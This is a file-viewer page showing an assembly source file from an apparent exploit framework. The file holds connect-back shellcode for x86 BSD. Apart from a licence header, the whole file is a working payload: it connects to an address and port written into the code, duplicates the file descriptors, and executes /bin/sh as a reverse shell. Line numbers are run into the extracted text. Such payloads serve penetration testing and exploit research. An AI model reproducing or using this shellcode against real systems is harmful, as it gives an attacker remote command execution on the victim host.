Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/bsd-x86-cntsockcode.s
Views: 11766
/*1* bsd-x86-cntsockcode.s2* Copyright 2004 Ramon de Carvalho Valle <[email protected]>3*4* This library is free software; you can redistribute it and/or5* modify it under the terms of the GNU Lesser General Public6* License as published by the Free Software Foundation; either7* version 2.1 of the License, or (at your option) any later version.8*9* This library is distributed in the hope that it will be useful,10* but WITHOUT ANY WARRANTY; without even the implied warranty of11* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU12* Lesser General Public License for more details.13*14* You should have received a copy of the GNU Lesser General Public15* License along with this library; if not, write to the Free Software16* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA17*18*/1920.global _start2122_start:2324# 64 bytes2526cntsockcode:27pushl $0x0100007f28pushl $0xd20402ff29movl %esp,%edi3031xorl %eax,%eax32pushl %eax33pushl $0x0134pushl $0x0235pushl $0x1036movb $0x61,%al37int $0x803839pushl %edi40pushl %eax41pushl %eax42pushl $0x6243popl %eax44int $0x804546pushl %eax47480:49pushl $0x5a50popl %eax51int $0x805253decl -0x18(%edi)54jns 0b5556shellcode:57# xorl %eax,%eax58# pushl %eax59pushl $0x68732f2f60pushl $0x6e69622f61movl %esp,%ebx62pushl %eax63pushl %esp64pushl %ebx65pushl %eax66movb $0x3b,%al67int $0x8068697071